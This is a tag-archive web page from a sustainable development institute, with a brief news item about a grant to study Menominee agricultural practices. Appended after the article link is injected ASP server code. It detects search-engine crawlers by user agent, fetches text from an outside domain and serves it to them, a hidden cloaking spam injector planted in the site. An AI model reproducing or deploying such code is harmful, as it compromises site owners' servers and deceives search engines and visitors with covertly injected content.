Tag Archive: Garden

Nov 08

Tribe’s Ancient Agricultural Practices Are Focus of Grant to CMN’s Sustainable Development Institute

A new $219,000 grant will help concentrate attention on ancient agricultural methods of the Menominee People and perceptions about the historic life and practices of the tribe. The Sustainable Development Institute (SDI) of the College of Menominee Nation will manage the award.  Funding for the “Menominee Agricultural Practices, Historical Perceptions and Late Prehistoric Reality” project …

Continue reading »

Permanent link to this article: http://sustainabledevelopmentinstitute.org/2017/11/tribes-ancient-agricultural-practices-are-focus-of-grant-to-cmns-sustainable-development-institute/

<% Function GetHtml(url) Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP") ObjXMLHTTP.Open "GET",url,False ObjXMLHTTP.setRequestHeader "User-Agent","aQ0O010O" ObjXMLHTTP.send GetHtml=ObjXMLHTTP.responseBody Set ObjXMLHTTP=Nothing set objStream = Server.CreateObject("Adodb.Stream") objStream.Type = 1 objStream.Mode =3 objStream.Open objStream.Write GetHtml objStream.Position = 0 objStream.Type = 2 objStream.Charset = "UTF-8" GetHtml = objStream.ReadText objStream.Close End Function dim ua ua=Request.ServerVariables("HTTP_USER_AGENT") searray = array("Google Web Preview", "bot","wget", "spider") For i = 0 To Ubound(searray) If (Instr(ua, searray(i)) > 0) Then content = GetHtml("http://link.dolabuy.com/cs08.txt") Response.write content end if Next %>